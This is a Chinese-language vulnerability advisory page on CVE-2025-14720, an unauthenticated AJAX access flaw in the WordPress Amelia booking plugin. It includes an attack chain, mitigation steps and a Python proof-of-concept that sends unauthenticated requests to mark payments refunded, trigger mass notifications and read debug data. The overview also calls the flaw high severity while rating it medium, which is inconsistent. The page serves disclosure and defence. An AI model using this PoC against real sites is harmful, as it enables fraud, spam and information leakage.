IPBUF安全漏洞报告
English
CVE-2025-14720 CVSS 5.3 中危

CVE-2025-14720 WordPress Amelia插件未授权AJAX操作漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-14720
漏洞类型
未授权访问/权限绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Booking for Appointments and Events Calendar – Amelia (WordPress插件)

相关标签

未授权访问权限绕过WordPress插件Amelia BookingAJAX安全CVE-2025-14720中等严重CVSS 5.3支付安全信息泄露

漏洞概述

CVE-2025-14720是WordPress Amelia预订日历插件中的一个高危安全漏洞。该插件是WordPress平台上流行的预约和活动日历管理工具,被广泛用于医疗机构、健身房、教育机构等场景。漏洞源于插件在实现AJAX接口时缺少适当的权限验证检查,导致多个敏感操作可以被未认证的任意用户执行。攻击者无需任何账号凭证,即可通过发送特制的HTTP请求到目标网站的AJAX端点,触发未经授权的操作,包括将支付状态标记为已退款、强制发送队列中的通知消息(邮件、短信、WhatsApp消息)、以及访问系统调试信息等。此漏洞影响所有1.2.38及以下版本,CVSS评分5.3,属于中等严重程度。漏洞由Wordfence安全团队于2026年1月9日披露,建议用户立即升级到最新版本以修复此安全问题。

技术细节

该漏洞的根本原因在于Amelia插件的多个AJAX动作处理器(Action Handlers)未能正确实施WordPress的权限检查机制。在WordPress插件开发中,AJAX端点通常需要使用current_user_can()或wp_verify_nonce()等函数验证用户身份和权限。然而,Amelia插件的以下功能存在权限验证缺失:1) 支付退款标记功能:SquareRefundWebhookCommandHandler.php中的AJAX处理逻辑允许任意用户调用,将正常支付状态修改为已退款状态,导致财务损失;2) 通知发送功能:队列通知系统可以被触发,强制发送大量邮件/SMS/WhatsApp消息,可能用于钓鱼攻击或邮件炸弹;3) 调试信息访问:插件的调试端点未做权限控制,攻击者可获取服务器路径、数据库配置等敏感信息。攻击者只需构造包含特定action参数的POST请求即可利用,无需任何认证。

攻击链分析

STEP 1
1
侦察阶段:攻击者识别运行Amelia插件(<=1.2.38版本)的WordPress网站
STEP 2
2
探测阶段:攻击者探测/wp-admin/admin-ajax.php端点,识别可用的AJAX动作
STEP 3
3
利用准备:攻击者构造包含目标action参数的HTTP POST请求,无需携带认证令牌或nonce
STEP 4
4
攻击执行:根据目标选择执行不同操作,如标记支付退款、触发批量通知发送或获取调试信息
STEP 5
5
后续利用:利用获取的调试信息进行进一步渗透,或通过退款功能造成财务损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14720 PoC - Amelia Plugin Unauthorized AJAX Access # Target: WordPress site with Amelia plugin <= 1.2.38 import requests import sys TARGET_URL = "http://target-wordpress-site.com" # PoC 1: Mark payment as refunded (requires payment ID) def trigger_refund(payment_id): """Trigger unauthorized payment refund marking""" endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" data = { 'action': 'wpamelia_api_call', 'call': '/payments/refund', 'paymentId': payment_id, 'method': 'POST' } response = requests.post(endpoint, data=data) return response.json() # PoC 2: Trigger queued notifications def trigger_notification(): """Trigger sending of queued notifications (email/SMS/WhatsApp)""" endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" data = { 'action': 'wpamelia_api_call', 'call': '/notifications/send', 'method': 'POST' } response = requests.post(endpoint, data=data) return response.json() # PoC 3: Access debug information def access_debug_info(): """Access plugin debug information without authentication""" endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" data = { 'action': 'wpamelia_api_call', 'call': '/debug/info', 'method': 'GET' } response = requests.post(endpoint, data=data) return response.json() if __name__ == "__main__": print("[*] CVE-2025-14720 PoC - Amelia Plugin Unauthorized Access") print("[*] Testing notification trigger...") result = trigger_notification() print(f"[*] Result: {result}")

影响范围

Amelia Booking Plugin < 1.2.39

防御指南

临时缓解措施
由于该漏洞无需认证即可利用,建议采取以下紧急措施:1) 立即将Amelia插件升级到1.2.39或更高版本;2) 如果无法立即升级,可临时禁用该插件或使用WAF限制对/wp-admin/admin-ajax.php的访问;3) 检查支付记录确认是否存在异常退款操作;4) 审查通知发送日志检测是否被滥用于发送垃圾邮件或钓鱼消息;5) 启用WordPress的安全日志记录以便追踪潜在攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表